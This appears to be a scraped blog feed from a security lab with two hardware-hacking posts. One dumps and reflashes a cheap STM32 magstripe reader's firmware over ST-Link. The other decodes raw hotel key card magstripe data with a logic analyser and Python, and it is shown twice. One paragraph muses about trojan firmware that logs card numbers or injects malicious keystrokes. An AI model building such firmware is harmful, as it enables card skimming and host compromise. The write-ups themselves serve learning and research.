Below the required connections have been made using the Black (SWDIO), Grey (SWCLK) and White (ground) connectors – though it’s hard to see and a bit confusing because of all the unrelated wires:

Relevant connections highlighted between ST-Link and target
image-6592

Relevant connections highlighted between ST-Link and target

Now we just need to load up the software and connect using the button shown below:

Connect button
image-6593

Connect button

Then we can read the firmware. I tweaked the start address and length to values that seemed to get me the whole firmware. The start address can be either 0×00000000 or 0×8000000:

Successful Firmware Read
image-6594

Successful firmware read

To save to a file (always good to have a backup), use the button shown:

Save Firmware To a .bin file
image-6595

Save firmware to a .bin File

Once the file has been saved, it can be written back using the “Program Verify” button:

Button to Program Target with a Local .bin File
image-6596

Button to program target with a local .bin File

Programming Options
image-6597

Programming options

After writing, I reset the magstripe reader to check it still worked. It did.

So, with very little effort we were able to read and write firmware to the device.

Conclusion

YouTube videos can be educational as well as fun. Sometimes, reading the firmware can be a lot easier than you’d ever expect. Checking if pins are active using only an oscilloscope wasn’t appropriate in this instance. We actually needed to try communicating with the device.

Where next?

If I was minded to create something rather than to take things apart all the time, I’d probably connect the STM32 to my Arduino software and see if I could write a sketch to read the input pins that connect to the magnetic read heads (via the op amps). Then I’d figure out to do HID emulation (as the original firmware did) so I could read arbitrary magstripes rather than just payment cards.

I got as far as tracing out the 3 input pins using the continuity testing feature on my multimeter.

I was also interested to know if I could have figured out the input pins from looking at the firmware. I loaded up the firmware in Hopper – which was surprisingly easy. But haven’t yet understood it to the extent where I could figure out input pins used. Apparently the assembler code to read of each pin is pretty distinctive, so this certainly seems possible to search for – once you’ve understood the datasheet enough to know what to search for exactly. Checkout 4m30s onwards in this LiveOverflow YouTube video.

It might be possible to write some nefarious firmware that seems to operate as normal, but secretly logs card numbers to the internal flash. Alternatively, maybe it just waits until midnight before it plays a load of malicious keystrokes to the host computer. Or maybe it only plays malicious keystrokes out when an attacker’s creditcard is swiped.

You might want to check out the stm32duino / Blue Pill, which uses the same family of microprocessors and the Pill Duck project which is essentially a USB Rubber Ducky type device that uses the Blue Pill hardware. Take care when Googling for blue pills, though.

The post Grabbing firmware from my cheap STM32-based magstripe reader (using ST-Link v2) appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/grabbing-firmware-from-my-cheap-stm32-based-magstripe-reader-using-st-link-v2/feed/ 0
Reading hotel key cards with a credit card magstripe reader https://labs.portcullis.co.uk/blog/reading-hotel-key-cards-with-a-credit-card-magstripe-reader/ https://labs.portcullis.co.uk/blog/reading-hotel-key-cards-with-a-credit-card-magstripe-reader/#comments Wed, 04 Jul 2018 06:01:58 +0000 https://labs.portcullis.co.uk/?p=6481 In this post I describe how my cheap magstripe reader wouldn’t read all magstripes, only credit/debit cards. This did nothing to help me understand what data was on my hotel key card – which is what I really wanted to know. Rather than take the obvious next step or buying a better reader, I opted […]

The post Reading hotel key cards with a credit card magstripe reader appeared first on Portcullis Labs.

]]>
In this post I describe how my cheap magstripe reader wouldn’t read all magstripes, only credit/debit cards. This did nothing to help me understand what data was on my hotel key card – which is what I really wanted to know. Rather than take the obvious next step or buying a better reader, I opted to open up the cheap magstripe reader, probed around a bit and found a way to read the raw data off the hotel magstripes. What that data means remains a mystery so there may be a part 2 at some stage.

About my magstripe reader

I bought the following reader for £11.85 in 2017:

Cheap reader from eBay
image-6482

Cheap reader from eBay

It connects via USB and is detected as a keyboard. If you swipe a credit/debit card through the reader, the corresponding data from the magstripe will appear if your text editor as if it had been typed. If you don’t have a text editor open at the time, you’ll get the effect of whatever the keystrokes on the magstripe reader are!

It works fine under both Windows and Linux. But only for credit/debit cards. When I swiped a hotel key card through, I got no data at all.

Why not just get a different reader?

I could have taken a couple of different (and no doubt better) approaches to this project. Finding a better magstripe reader was one option. Googling around to better understand hotel magstripes would have no-doubt been fruitful, but potentially spoils some of problem solving. I can always google later when I’m properly stuck. :-)

I since invested in an MSR605X reader/writer. I haven’t played with it much yet, but it is able to do raw reads. I’ll probably cover this reader in a future post.

Plan for the cheap reader

I figured that the magnetic read head in the cheap reader would almost certainly be able to read the data from from hotel cards or any other card with a magstripe. But the rest of the reader was only able to interpret payment card data. If I could probe the electrical signals in the right place within the reader, I should be able to see the 1′s and 0′s on the magstripe.

Magnetic read head inside card reader
image-6483

Magnetic read head inside card reader

I was a vague plan and certainly not the path of least resistance, but would ultimately work…

Probing around

I had two tools at my disposal to probe with (this was a home-based side project as opposed to an office-based project):

  • A cheap handheld Oscilloscope (Sainsmart DS202)
  • A Saleae logic analyzer

I quickly realized there were 7 points on the read head I could attach probes to.

Connection points on back of read head
image-6484

Connection points on back of read head

I figured if hooked the read head directly up to my scope, I’d be able to see an analogue signal when I swiped a card. Ultimately I hoped to do something with said signal to get the data I wanted.

Connections for scope soldered directly to read head
image-6485

Connections for scope soldered directly to read head

I tried hooking up various pairs from these 7 probe points to my scope, but didn’t find any signal at all. Maybe the signal’s too weak, or maybe (in retrospect) I did a rubbish job of identifying a suitable ground.

By this point I’d started googling the chip numbers. There were 2 x Op Amps and 1 x Analogue Comparator:

2 x Op Amps
image-6486

2 x Op Amps

Analogue Comparator (left); STM32 Microcontroller (right)
image-6487

Analogue Comparator (left); STM32 Microcontroller (right)

These chips were responsible for amplifying the signal from the read head. So if hooked up to the output of each, I might see a signal I could use to determine the data on the magstripes. I use the datasheets to identify the output pins of each IC.

The output from the 2 x Op Amps was about 0.5 – 0.6v peak-to-peak. Easily viewable using my scope, but I’d be unable to feed this into my logic analyser. I’d need about 3v peak-to-peak for that. The signal was also quite scruffy looking. Not the nice square wave I’d hoped for.

The output from the analogue comparator was exactly what I was after. A nice 3 or 4v peak-to-peak square wave that appeared only when I swiped a card. There were 4 outputs from the comparator. One never produced a signal. This seemed reasonable for a read head that could read 3-track magstripes. Time to feed this into the logic analyser and start figuring what constituted a 0 or 1…

1′s and 0′s

Progress had been quite fast up to this point. This was shaping up to be an interesting project.

Here’s the output from the comparator viewed in the Saleae Logic software:

Comparator output viewed via logic analyser
image-6488

Comparator output viewed via logic analyser

Note that we’re only seeing 1 square wave, not 3. This is because this particular card only has data on 1 of the 3 tracks.

So we have a signal to analyse, but we don’t have 1′s and 0′s yet.

Phrack37 from 1992 helps us with that:

ASCII art explanation of how 1' class=
image-6489

ASCII art explanation of how 1′s and 0′s are encoded on a magstripe

Essentially a 0 and 1 are both the same length when encoded. A 1 changed state half way through and a 0 doesn’t. Note that the 0 can be either high or low.

Rather than decode the 1′s and 0′s by eye, I wrote a Python script that parsed the exported data from the logic analyzer and dumped the 1′s and o’s. Here’s the format used by “Logic” (the Saleae software) when exporting to CSV:

Format used in CSV export from Saleae' class=
image-6490

Format used in CSV export from Saleae’s Logic software

The Python code turned out to be a pain to write because the baud rate of the data wasn’t constant. It varies depending on how fast the card is moving past the read head. I took a few wrong turns when coding this up, but eventually found a solution that worked.

Here’s a scatter graph that shows that the duration of square wave pulse doesn’t have exactly 2 values as expected. Instead a wide range of values are seen. It’s still possible to tell 0′s (long pulses, green dots) from 1′s (short pulses, blue/purple dots) – see top graph. The ratio of each successive pulse to the last was a better way to tell o’s from 1′s – see bottom graph:

Graph showing how much pulse duration (delta) takes a range of values, not just two as expected
image-6491

Graph showing how much pulse duration (delta) takes a range of values, not just two as expected

And finally, the bytes / characters

This is where my problems started. My whole life, bits have made bytes. Specifically they’ve made 8-bit bytes. This is not the case on magstripes, it turned out.

As mentioned in the phrack paper, credit cards use 2 tracks, one where characters are composed of 5 bits (4 bits + 1 parity) and another where characters are composed of 7 bits (6 bits + 1 parity).

I spent quite a bit of time coding up a decoder for credit cards. Partly because I needed to be assured that I’d read the 1′s and o’s correctly and partly because I thought I’d need the code to see if the same character types were used in hotel cards.

One of the challenges in coding this up was knowing where the data started and the preamble ended. It seems that “sentinels” are used to mark the start/end of the data. These are special characters (bit patterns) that readers can look for at the start and end of a stripe… then it made sense. This is why the card reader only worked for credit cards! The firmware is looking for the sentinels used by credit cards. It can’t decode the hotel cards because it’s not obvious where the data starts or ends; or what constitutes a character. Also, perhaps lack a valid Longitudinal Redundancy Check (LRC).

Identifying characters on hotel magstripes

I ran my credit-card code over the hotel mag stripes to see if there was odd parity with all the 5 bit chunks or all the 7 bit chunks. No, unfortunately not. Another reason the cheap magstripe reader probably failed.

Then I ran some frequency analysis on the 1′s and 0′s. Maybe a lot of the 5-bit chunks are all the same value? Or the 7-bit chunks? I’d see something similar on the credit card magstripe. There were 20 spaces on the 7-bit magstripe. So, using frequency analysis, I should have been able to guess 7-bit characters were being used.

By splitting some of the hotels magstripe data into 8-bit chunks, we notice that the same string of 1′s and 0′s occurs many more times than you’d expect. So my best guess is that 8-bit characters are used.

Below is some example output from my Python script. Not that it outputs:

  • Raw bits
  • Strings (with hex dumps) that would be right if 5-bit, 6-bit, 7-bit or 8-bit characters were used. Though “correctness” depends on parity, bit order and what character set the bit values map to. Plenty of room for error and improvement here
  • Checks for odd/even parity within characters
  • Frequency analysis looking for common characters – for varying character lengths
[+] Parsing file export.csv
 [-] Flips in channel 0: 3
 [-] Flips in channel 1: 1652
 [-] Flips in channel 2: 3
[+] Analysing swipes
 [-] Channel 0:
 [-] Channel 1:
 [-] Swipe 0: 693 bits
 [-] Swipe 1: 701 bits
 [-] Channel 2:
[+] Creating Plots
 [-] creating plots with dimensions (1637, 1637), (1637, 1637)
 [-] saving plot to file: export.csv-plot-channel-1.png
----------------------- CHANNEL 1 SWIPE 0 -----------------------
[+] Length (bits) = 266 (%5 = 1, %6 = 2, %7 = 0, % 8= 2)
[+] Data: 10100110001001100010011000100110001001100010011000100110001001100010011000100110001001100101011011100110101001001101100110100110001001100111110110111100111101100010000000100110011001101100001010010101001001001110110100000111001101011101100001100101101000101010011001
[+] Strings:
 [-] 5 bit: 5398621<4398621<43:>62<3539<;><=409<615549=1>6>36=1:6
 [-] length: 53
 [-] hex: 
 35 33 39 38 36 32 31 3c 34 33 39 38 36 32 31 3c 5398621<4398621<
 34 33 3a 3e 36 32 3c 33 35 33 39 3c 3b 3e 3c 3d 43:>62<3539<;><=
 34 30 39 3c 36 31 35 35 34 39 3d 31 3e 36 3e 33 409<615549=1>6>3
 36 3d 31 3a 36 6=1:6
[-] 6 bit: E(1C&amp;,9RD(1CFM92;+1S;G;"D,-**DMPLW8M4,
 [-] length: 38
 [-] hex: 
 45 28 31 43 26 2c 39 52 44 28 31 43 46 4d 39 32 E(1C&amp;,9RD(1CFM92
 3b 2b 31 53 3b 47 3b 22 44 2c 2d 2a 2a 44 4d 50 ;+1S;G;"D,-**DMP
 4c 57 38 4d 34 2c LW8M4,
[-] 7 bit: %..#...2$..#&amp;-.....3.'..$....$-0,7.-.
 [-] length: 37
 [-] hex: 
 25 08 11 23 06 0c 19 32 24 08 11 23 26 2d 19 12 %..#...2$..#&amp;-..
 1b 0b 11 33 1b 27 1b 02 24 0c 0d 0a 0a 24 2d 30 ...3.'..$....$-0
 2c 37 18 2d 14 ,7.-.
[-] 8 bit: .&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;V....&amp;}.. &amp;f..$..5.e..@
 [-] length: 34
 [-] hex: 
 a6 26 26 26 26 26 26 26 26 26 26 56 e6 a4 d9 a6 .&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;V....
 26 7d bc f6 20 26 66 c2 95 24 ed 07 35 d8 65 a2 &amp;}.. &amp;f..$..5.e.
 a6 40 .@
[+] Parity for 5 bit chars: odd: False, even: False)
[+] Parity for 6 bit chars: odd: False, even: False)
[+] Parity for 7 bit chars: odd: False, even: False)
[+] Parity for 8 bit chars: odd: False, even: False)
[+] Frequency analysis for potential char lengths:
 [-] 5 bits:
 10011: 5
 11000: 4
 01100: 4
 00110: 4
 00100: 4
 [-] 6 bits:
 100110: 5
 100010: 5
 011000: 5
 011001: 4
 001001: 4
 [-] 7 bits:
 1000100: 3
 0010011: 3
 1101100: 2
 1100010: 2
 1011010: 2
 [-] 8 bits:
 00100110: 12 < common 8-bit patter implies 8-bit chars?
 10100110: 3
...snip...

The above data is from an actual hotel card (though the hotel as since switched to using RFID locks).

I also started to look at XORing, rotating of characters (rot13 style), bit order and offsetting the whole stream of bits (in case I started at the wrong place when chunk the character up). All to no avail as yet.

That’s as far as I got. I’ll be sure to post again if I ever decode any of the data on the card. I was hoping to see my room number and checkout date in cleartext. But equally an opaque encrypted string wouldn’t surprise me either – which could be what I’m seeing on at least some of the cards.

Conclusion

Doing things the cheap and time-consuming way can be fun – and a good opportunity to write code, learn about matplotlib and dust off the logic analyser.

Further reading/viewing

If you want to know more about magstripes (before they become completely obsolete), take a look at:

I was pretty inspired by these projects.In this post I describe how my cheap magstripe reader wouldn’t read all magstripes, only credit/debit cards. This did nothing to help me understand what data was on my hotel key card – which is what I really wanted to know. Rather than take the obvious next step or buying a better reader, I opted to open up the cheap magstripe reader, probed around a bit and found a way to read the raw data off the hotel magstripes. What that data means remains a mystery so there may be a part 2 at some stage.

About my magstripe reader

I bought the following reader for £11.85 in 2017:

Cheap reader from eBay
image-6482

Cheap reader from eBay

It connects via USB and is detected as a keyboard. If you swipe a credit/debit card through the reader, the corresponding data from the magstripe will appear if your text editor as if it had been typed. If you don’t have a text editor open at the time, you’ll get the effect of whatever the keystrokes on the magstripe reader are!

It works fine under both Windows and Linux. But only for credit/debit cards. When I swiped a hotel key card through, I got no data at all.

Why not just get a different reader?

I could have taken a couple of different (and no doubt better) approaches to this project. Finding a better magstripe reader was one option. Googling around to better understand hotel magstripes would have no-doubt been fruitful, but potentially spoils some of problem solving. I can always google later when I’m properly stuck. :-)

I since invested in an MSR605X reader/writer. I haven’t played with it much yet, but it is able to do raw reads. I’ll probably cover this reader in a future post.

Plan for the cheap reader

I figured that the magnetic read head in the cheap reader would almost certainly be able to read the data from from hotel cards or any other card with a magstripe. But the rest of the reader was only able to interpret payment card data. If I could probe the electrical signals in the right place within the reader, I should be able to see the 1′s and 0′s on the magstripe.

Magnetic read head inside card reader
image-6483

Magnetic read head inside card reader

I was a vague plan and certainly not the path of least resistance, but would ultimately work…

Probing around

I had two tools at my disposal to probe with (this was a home-based side project as opposed to an office-based project):

  • A cheap handheld Oscilloscope (Sainsmart DS202)
  • A Saleae logic analyzer

I quickly realized there were 7 points on the read head I could attach probes to.

Connection points on back of read head
image-6484

Connection points on back of read head

I figured if hooked the read head directly up to my scope, I’d be able to see an analogue signal when I swiped a card. Ultimately I hoped to do something with said signal to get the data I wanted.

Connections for scope soldered directly to read head
image-6485

Connections for scope soldered directly to read head

I tried hooking up various pairs from these 7 probe points to my scope, but didn’t find any signal at all. Maybe the signal’s too weak, or maybe (in retrospect) I did a rubbish job of identifying a suitable ground.

By this point I’d started googling the chip numbers. There were 2 x Op Amps and 1 x Analogue Comparator:

2 x Op Amps
image-6486

2 x Op Amps

Analogue Comparator (left); STM32 Microcontroller (right)
image-6487

Analogue Comparator (left); STM32 Microcontroller (right)

These chips were responsible for amplifying the signal from the read head. So if hooked up to the output of each, I might see a signal I could use to determine the data on the magstripes. I use the datasheets to identify the output pins of each IC.

The output from the 2 x Op Amps was about 0.5 – 0.6v peak-to-peak. Easily viewable using my scope, but I’d be unable to feed this into my logic analyser. I’d need about 3v peak-to-peak for that. The signal was also quite scruffy looking. Not the nice square wave I’d hoped for.

The output from the analogue comparator was exactly what I was after. A nice 3 or 4v peak-to-peak square wave that appeared only when I swiped a card. There were 4 outputs from the comparator. One never produced a signal. This seemed reasonable for a read head that could read 3-track magstripes. Time to feed this into the logic analyser and start figuring what constituted a 0 or 1…

1′s and 0′s

Progress had been quite fast up to this point. This was shaping up to be an interesting project.

Here’s the output from the comparator viewed in the Saleae Logic software:

Comparator output viewed via logic analyser
image-6488

Comparator output viewed via logic analyser

Note that we’re only seeing 1 square wave, not 3. This is because this particular card only has data on 1 of the 3 tracks.

So we have a signal to analyse, but we don’t have 1′s and 0′s yet.

Phrack37 from 1992 helps us with that:

ASCII art explanation of how 1' class=
image-6489

ASCII art explanation of how 1′s and 0′s are encoded on a magstripe

Essentially a 0 and 1 are both the same length when encoded. A 1 changed state half way through and a 0 doesn’t. Note that the 0 can be either high or low.

Rather than decode the 1′s and 0′s by eye, I wrote a Python script that parsed the exported data from the logic analyzer and dumped the 1′s and o’s. Here’s the format used by “Logic” (the Saleae software) when exporting to CSV:

Format used in CSV export from Saleae' class=
image-6490

Format used in CSV export from Saleae’s Logic software

The Python code turned out to be a pain to write because the baud rate of the data wasn’t constant. It varies depending on how fast the card is moving past the read head. I took a few wrong turns when coding this up, but eventually found a solution that worked.

Here’s a scatter graph that shows that the duration of square wave pulse doesn’t have exactly 2 values as expected. Instead a wide range of values are seen. It’s still possible to tell 0′s (long pulses, green dots) from 1′s (short pulses, blue/purple dots) – see top graph. The ratio of each successive pulse to the last was a better way to tell o’s from 1′s – see bottom graph:

Graph showing how much pulse duration (delta) takes a range of values, not just two as expected
image-6491

Graph showing how much pulse duration (delta) takes a range of values, not just two as expected

And finally, the bytes / characters

This is where my problems started. My whole life, bits have made bytes. Specifically they’ve made 8-bit bytes. This is not the case on magstripes, it turned out.

As mentioned in the phrack paper, credit cards use 2 tracks, one where characters are composed of 5 bits (4 bits + 1 parity) and another where characters are composed of 7 bits (6 bits + 1 parity).

I spent quite a bit of time coding up a decoder for credit cards. Partly because I needed to be assured that I’d read the 1′s and o’s correctly and partly because I thought I’d need the code to see if the same character types were used in hotel cards.

One of the challenges in coding this up was knowing where the data started and the preamble ended. It seems that “sentinels” are used to mark the start/end of the data. These are special characters (bit patterns) that readers can look for at the start and end of a stripe… then it made sense. This is why the card reader only worked for credit cards! The firmware is looking for the sentinels used by credit cards. It can’t decode the hotel cards because it’s not obvious where the data starts or ends; or what constitutes a character. Also, perhaps lack a valid Longitudinal Redundancy Check (LRC).

Identifying characters on hotel magstripes

I ran my credit-card code over the hotel mag stripes to see if there was odd parity with all the 5 bit chunks or all the 7 bit chunks. No, unfortunately not. Another reason the cheap magstripe reader probably failed.

Then I ran some frequency analysis on the 1′s and 0′s. Maybe a lot of the 5-bit chunks are all the same value? Or the 7-bit chunks? I’d see something similar on the credit card magstripe. There were 20 spaces on the 7-bit magstripe. So, using frequency analysis, I should have been able to guess 7-bit characters were being used.

By splitting some of the hotels magstripe data into 8-bit chunks, we notice that the same string of 1′s and 0′s occurs many more times than you’d expect. So my best guess is that 8-bit characters are used.

Below is some example output from my Python script. Not that it outputs:

  • Raw bits
  • Strings (with hex dumps) that would be right if 5-bit, 6-bit, 7-bit or 8-bit characters were used. Though “correctness” depends on parity, bit order and what character set the bit values map to. Plenty of room for error and improvement here
  • Checks for odd/even parity within characters
  • Frequency analysis looking for common characters – for varying character lengths
[+] Parsing file export.csv
 [-] Flips in channel 0: 3
 [-] Flips in channel 1: 1652
 [-] Flips in channel 2: 3
[+] Analysing swipes
 [-] Channel 0:
 [-] Channel 1:
 [-] Swipe 0: 693 bits
 [-] Swipe 1: 701 bits
 [-] Channel 2:
[+] Creating Plots
 [-] creating plots with dimensions (1637, 1637), (1637, 1637)
 [-] saving plot to file: export.csv-plot-channel-1.png
----------------------- CHANNEL 1 SWIPE 0 -----------------------
[+] Length (bits) = 266 (%5 = 1, %6 = 2, %7 = 0, % 8= 2)
[+] Data: 10100110001001100010011000100110001001100010011000100110001001100010011000100110001001100101011011100110101001001101100110100110001001100111110110111100111101100010000000100110011001101100001010010101001001001110110100000111001101011101100001100101101000101010011001
[+] Strings:
 [-] 5 bit: 5398621<4398621<43:>62<3539<;><=409<615549=1>6>36=1:6
 [-] length: 53
 [-] hex: 
 35 33 39 38 36 32 31 3c 34 33 39 38 36 32 31 3c 5398621<4398621<
 34 33 3a 3e 36 32 3c 33 35 33 39 3c 3b 3e 3c 3d 43:>62<3539<;><=
 34 30 39 3c 36 31 35 35 34 39 3d 31 3e 36 3e 33 409<615549=1>6>3
 36 3d 31 3a 36 6=1:6
[-] 6 bit: E(1C&amp;,9RD(1CFM92;+1S;G;"D,-**DMPLW8M4,
 [-] length: 38
 [-] hex: 
 45 28 31 43 26 2c 39 52 44 28 31 43 46 4d 39 32 E(1C&amp;,9RD(1CFM92
 3b 2b 31 53 3b 47 3b 22 44 2c 2d 2a 2a 44 4d 50 ;+1S;G;"D,-**DMP
 4c 57 38 4d 34 2c LW8M4,
[-] 7 bit: %..#...2$..#&amp;-.....3.'..$....$-0,7.-.
 [-] length: 37
 [-] hex: 
 25 08 11 23 06 0c 19 32 24 08 11 23 26 2d 19 12 %..#...2$..#&amp;-..
 1b 0b 11 33 1b 27 1b 02 24 0c 0d 0a 0a 24 2d 30 ...3.'..$....$-0
 2c 37 18 2d 14 ,7.-.
[-] 8 bit: .&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;V....&amp;}.. &amp;f..$..5.e..@
 [-] length: 34
 [-] hex: 
 a6 26 26 26 26 26 26 26 26 26 26 56 e6 a4 d9 a6 .&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;V....
 26 7d bc f6 20 26 66 c2 95 24 ed 07 35 d8 65 a2 &amp;}.. &amp;f..$..5.e.
 a6 40 .@
[+] Parity for 5 bit chars: odd: False, even: False)
[+] Parity for 6 bit chars: odd: False, even: False)
[+] Parity for 7 bit chars: odd: False, even: False)
[+] Parity for 8 bit chars: odd: False, even: False)
[+] Frequency analysis for potential char lengths:
 [-] 5 bits:
 10011: 5
 11000: 4
 01100: 4
 00110: 4
 00100: 4
 [-] 6 bits:
 100110: 5
 100010: 5
 011000: 5
 011001: 4
 001001: 4
 [-] 7 bits:
 1000100: 3
 0010011: 3
 1101100: 2
 1100010: 2
 1011010: 2
 [-] 8 bits:
 00100110: 12 < common 8-bit patter implies 8-bit chars?
 10100110: 3
...snip...

The above data is from an actual hotel card (though the hotel as since switched to using RFID locks).

I also started to look at XORing, rotating of characters (rot13 style), bit order and offsetting the whole stream of bits (in case I started at the wrong place when chunk the character up). All to no avail as yet.

That’s as far as I got. I’ll be sure to post again if I ever decode any of the data on the card. I was hoping to see my room number and checkout date in cleartext. But equally an opaque encrypted string wouldn’t surprise me either – which could be what I’m seeing on at least some of the cards.

Conclusion

Doing things the cheap and time-consuming way can be fun – and a good opportunity to write code, learn about matplotlib and dust off the logic analyser.

Further reading/viewing

If you want to know more about magstripes (before they become completely obsolete), take a look at:

I was pretty inspired by these projects.

The post Reading hotel key cards with a credit card magstripe reader appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/reading-hotel-key-cards-with-a-credit-card-magstripe-reader/feed/ 0